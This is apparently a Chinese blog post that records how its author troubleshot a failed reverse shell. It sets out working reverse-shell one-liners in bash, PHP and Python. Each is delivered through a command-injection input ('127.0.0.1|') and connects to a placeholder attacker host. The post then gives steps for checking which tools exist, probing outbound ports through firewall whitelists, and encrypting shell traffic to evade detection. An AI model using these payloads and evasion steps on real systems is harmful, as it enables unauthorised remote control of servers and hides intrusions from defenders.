反弹不成功排查
今天遇到shell反弹不成功的问题,顺便记下来
0.低权限环境
- /tmp写入bash反弹脚本执行
127.0.0.1| Echo ‘bash -i >& /dev/tcp/x.x.x.x/7777 0>&1’>/tmp/1.sh
127.0.0.1|bash /tmp/1.sh
- php反弹shell
127.0.0.1| php -r '$sock=fsockopen("x.x.x.x",7777);exec("/bin/sh -i <&3 >&3 2>&3");'
- python反弹shell
127.0.0.1 |python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
1.命令存不存在
whereis nc bash python php exec perl ruby java telnet lua
查看命令存不存在或者位置在哪
2.ping
ping一下dnslog看看出不出网
3.出网端口受限
目标服务器网络边界部署了防火墙,设置了出站规则,给出站的端口设置了白名单。
这里只要端口属于白名单内的即可,一般的话,DNS 的 53、HTTP 服务的默认端口 80、HTTPS 的 443 是三个最常见的出站端口,一般最有可能在白名单内,可一一尝试。
当然如果白名单设置得很死,都不是常用端口的话,我们就得使用目标系统自带的curl、telnet、wget等命令来进行出站端口探测。
80端口探测:
例如 curl www.baidu.com:80
有正确回显代表可通80,没有或者等待超时代表不通80端口。
可能遇到目标权限低,且curl、telnet、wget等这几个可探测端口的命令都没有,那么可以使用如下命令来探测:
echo > /dev/tcp/www.baidu.com/80
如果瞬间执行完成代表可出80,如果执行后一直等待,那么代表不出80.
53端口探测:
4.目标机器检测流量
上线后掉了,说明可能存在流量检测设备,应该加密反弹shell流量
标签:shell,socket,端口,排查,sh,80,反弹,bash From: https://www.cnblogs.com/xiaoxin07/p/18235796